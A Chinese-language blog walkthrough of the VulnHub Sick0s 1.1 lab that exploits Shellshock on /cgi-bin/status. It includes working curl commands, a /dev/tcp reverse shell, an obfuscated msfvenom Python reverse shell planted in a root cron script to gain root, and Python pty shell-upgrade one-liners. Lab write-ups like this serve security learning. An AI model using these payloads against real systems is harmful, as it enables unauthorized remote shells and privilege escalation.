VulnHub-Sick0s1.1解法二shellshock漏洞

Sol_9發表於2024-11-25

免責宣告

本部落格提供的所有資訊僅供學習和研究目的,旨在提高讀者的網路安全意識和技術能力。請在合法合規的前提下使用本文中提供的任何技術、方法或工具。如果您選擇使用本部落格中的任何資訊進行非法活動,您將獨自承擔全部法律責任。本部落格明確表示不支援、不鼓勵也不參與任何形式的非法活動。

如有侵權請聯絡我第一時間刪除

nikto掃描

sudo nikto -h ip -useproxy http://ip:port

發現存在Shellshock漏洞,又稱bashdoor 利用版本:bash4.1版本之前都存在這個漏洞

掃描結果: 可能存在shellshock漏洞

/cgi-bin/status: Site appears vulnerable to the 'shellshock' vulnerability. See: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-6278

詳情見http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-6278 ,這是一個GNU Bash 環境變數命令注入漏洞 ,我對這個漏洞瞭解比較少,所以去找了幾篇文章

ShellShock(CVE-2014-6271)-CSDN部落格

Shellshock 漏洞 (CVE-2014-6271) - 知乎

GNU Bash 4.3及之前版本在評估某些構造的環境變數時存在安全漏洞,向環境變數值內的函式定義後新增多餘的字串會觸發此漏洞,攻擊者可利用此漏洞改變或繞過環境限制,以執行Shell命令。某些服務和應用允許未經身份驗證的遠端攻擊者提供環境變數以利用此漏洞。此漏洞源於在呼叫Bash Shell之前可以用構造的值建立環境變數。這些變數可以包含程式碼,在Shell被呼叫後會被立即執行。這個漏洞的英文是:ShellShock,中文名被XCERT命名為:破殼漏洞。該漏洞在Red Hat、CentOS、Ubuntu 、Fedora 、Amazon Linux 、OS X 10.10中均擁有存在CVE-2014-6271(即“破殼”漏洞)漏洞的Bash版本,同時由於Bash在各主流作業系統的廣泛應用,此漏洞的影響範圍包括但不限於大多數應用Bash的Unix、Linux、Mac OS X,而針對這些作業系統管理下的資料均存在高危威脅。漏洞的利用方式會透過與Bash互動的多種應用展開,包括HTTP、OpenSSH、DHCP等

Shellshock

驗證shellshock存在

sudo curl -v --proxy http://ip:3128 http://ip/cgi-bin/status -H "Referer:() { test;}; echo 'Content-Type: text/plain'; echo; echo; /usr/bin/id;exit"

-v 顯示更詳細的資訊

http://ip/cgi-bin/status nikto掃描出來的url

-H " "指定主機頭 裡面是一個惡意構造的http頭,目的是利用Shellshock漏洞來嘗試執行伺服器上的命令。具體來說,它試圖透過設定一個惡意的環境變數來觸發漏洞,然後執行 /usr/bin/id 命令,該命令會輸出當前使用者的ID資訊,包括使用者名稱和所屬使用者組。

利用shellshock反彈shell

用msfvenom生成payload

MSF的使用教程 - 駭客無極 - 部落格園

sudo msfvenom -p cmd/unix/reverse_bash lhost=kali_ip lport=443 -f raw 

-f, --format <format>

指定 Payload 的輸出格式(使用 --list formats 列出)

-f raw 表示直接輸出payload的原始碼

這個sh環境路徑有可能無法使用,如果不行就改成絕對路徑

生成的payload

0<&137-;exec 137<>/dev/tcp/192.168.236.128/443;sh <&137 >&137 2>&137

nc開啟監聽後,使用payload

sudo curl -v --proxy http://192.168.236.133:3128 http://192.168.236.133/cgi-bin/status -H "Referer:() { test;}; echo 0<&137-;exec 137<>/dev/tcp/192.168.236.128/443;sh <&137 >&137 2>&137"

執行後監聽有反應,但直接就斷了,顯示沒有sh這個檔案或路徑


那就修改一下:/bin/sh

sudo curl -v --proxy http://192.168.236.133:3128 http://192.168.236.133/cgi-bin/status -H "Referer:() { test;}; echo 0<&137-;exec 137<>/dev/tcp/192.168.236.128/443;/bin/sh <&137 >&137 2>&137"

成功拿到一個不完整的shell

不過這個shell的互動性很差,查詢這臺機器上安裝的軟體,如果有python的話,就可以用python實現一個互動性更好的shell

python提升shell互動性

查詢機器上已安裝的軟體

dpkg -l 是一個在基於 Debian 的 Linux 發行版中使用的命令,用於列出系統上所有已安裝的軟體包。這個命令會顯示軟體包的名稱、版本、架構和簡短描述等資訊。

當你執行 dpkg -l 命令時,輸出通常會被分成幾列,每一列的含義如下:

第一列是兩個字母的狀態標誌。第一個字母表示期望狀態(如 'u' 表示未知,'i' 表示安裝),第二個字母表示實際狀態(如 'n' 表示未安裝,'i' 表示已安裝)。

第二列是軟體包的名稱。

第三列是軟體包的版本號。

第四列是軟體包的架構(例如,amd64, i386)。

第五列及之後的部分是軟體包的簡短描述。

如果你想要檢視特定型別或名稱的軟體包,可以結合使用管道和 grep 命令來過濾輸出。例如,要查詢所有與 'python' 相關的已安裝軟體包,你可以執行:

dpkg -l | grep python

這將只顯示包含 'python' 字串的行。

靶機回顯是有python的

python將普通Shell升級為互動式Shell

一下命令都是python升級互動式Shell的指令碼,測試後發現前兩個是能用的,第三個不能用

python -c 'import pty;pty.spawn("/bin/bash")'

這條命令使用了 pty 模組來建立一個偽終端(pseudo-terminal)。偽終端可以提供更接近於真實終端的互動體驗,包括支援終端控制字元和訊號處理。因此,這種方式啟動的 shell 會話具有更好的互動性,可以像普通終端一樣使用。
python -c '__import__("pty").spawn("/bin/bash")'

這條命令與第一條類似,只是使用了 __import__ 函式來動態匯入 pty 模組。這種方式同樣會建立一個偽終端,並且提供良好的互動性。
python -c "import os;os.system('/bin/bash')"

這條命令使用了 os 模組的 system 函式來啟動一個新的 shell 會話。os.system 函式會呼叫系統的 system 函式,後者會透過 /bin/sh 來執行指定的命令。這種方式啟動的 shell 會話有一些限制:
互動性較差:雖然 os.system 可以啟動一個 shell,但它不會建立一個偽終端。這意味著你可能無法使用一些終端控制字元和訊號處理功能,互動體驗較差。
子程序管理:os.system 會在當前程序中啟動一個新的子程序來執行命令。當命令執行完畢後,控制權會返回給父程序。這意味著如果你直接在命令列中執行 os.system('/bin/bash'),你會得到一個新的 shell 會話,但一旦你退出這個 shell,控制權會返回到原來的 Python 指令碼。

自動任務提權

資訊收集 找到突破口cron.d下automate自動任務執行/var/www/connect.py

cd 到根目錄後,我先看了/etc下的cron自動任務,

drwxr-xr-x  2 root root    4096 Sep 22  2015 console-setup
drwxr-xr-x  2 root root    4096 Dec  5  2015 cron.d
drwxr-xr-x  2 root root    4096 Sep 22  2015 cron.daily
drwxr-xr-x  2 root root    4096 Sep 22  2015 cron.hourly
drwxr-xr-x  2 root root    4096 Sep 22  2015 cron.monthly
drwxr-xr-x  2 root root    4096 Sep 22  2015 cron.weekly
-rw-r--r--  1 root root     722 Jun 20  2012 crontab

cat看一眼發現這些自動任務的許可權都只有/bin/sh,例如crontab,如果是/bin/bash,就可以直接嘗試使用這些自動任務進行提權

www-data@SickOs:/etc$ cat crontab
cat crontab
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.

SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

# m h dom mon dow user  command
17 *    * * *   root    cd / && run-parts --report /etc/cron.hourly
25 6    * * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6    * * 7   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6    1 * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
#

再看一下cron.d,提示是一個資料夾,進去翻看有一個automate

* * * * * root /usr/bin/python /var/www/connect.py

每分鐘以root許可權執行/var/www/下的connect.py

那我們先看一下 cat /var/www/connect.py

#!/usr/bin/python

print "I Try to connect things very frequently\n"
print "You may want to try my services"

msfvenom生成payload

sudo msfvenom -p cmd/unix/reverse_python lhost=192.168.236.128 lport=444 -f raw
exec(__import__('zlib').decompress(__import__('base64').b64decode(__import__('codecs').getencoder('utf-8')('eNqNkFELgjAUhf/K2NOEuLUlYoQPEgYRFaTvkmuhZJt45/+PZbA9el92d+53zxnrPoMZLUEj38oSQlbkVzg1w2ikQvSacf1+7luDNqN8J4AnKYhtAlyk1M+daRbHsVcwmzNgPtj/lh/r07WoguRZL2+Hc11W9yK/RIEJSKO1kpYx9wK/5fKiADQIz2kQDOHV9UobFnl2s5DjCzkRcEPmfw7ko+8ZXTedXmNLoy8kd1w/')[0])))

用vi編輯器將payload插入進connect.py中,這裡給了一些vi的常用命令

vi編輯器

預設情況下,VI編輯器是命令模式,需要在裡面寫東西的時候需要進入編輯模式

命令模式到編輯模式:插入命令i,附加命令a,開啟命令o,修改命令c,取代命令r,替換命令s

編輯模式到命令模式:Esc

**退出流程:

1.進入命令模式

2.進入末行模式

3.在末行模式輸入以下內容,對應相應操作**

【:w】 儲存檔案

【:w!】 若檔案為只讀,強制儲存檔案

【:q】 離開vi

【:q!】 不儲存強制離開vi

【:wq】 儲存後離開

【:wq!】 強制儲存後離開

【:! command】 暫時離開vi到命令列下執行一個命令後的顯示結果

【:set nu】 顯示行號

【:set nonu】 取消顯示行號

【:w newfile】 另存為

2、插入命令
i:插入游標前一個字元

I:插入行首

a:插入游標後一個字元

A:插入行末

o:向下新開一行,插入行首

O:向上新開一行,插入行首

移動游標

h:左移

j:下移

k:上移

l:右移

M:游標移動中間行

L:游標移動到螢幕最後一行行首

G:移動到指定行,行號 -G

{:按段移動,上移

}:按段移動,下移

Ctr-d:向下翻半屏

Ctr-u:向上翻半屏

gg:游標移動檔案開頭

G:游標移動檔案末尾

3、刪除命令
x:刪除游標後一個字元,相當於del

X: 刪除游標前一個字元,相當於Backspace

dd:刪除游標所在行,n dd刪除指定的行數D:刪除游標後本行所有的內容,包括游標所在字元

4、撤銷命令
u:一步一步撤銷

ctr-r:反撤銷

5、重複命令
.:重複上一次操作的命令

成功把payload插進connect.py

getshell

nc開啟監聽444埠

成功獲得root許可權,至此sickos兩個解法都打完了

相關文章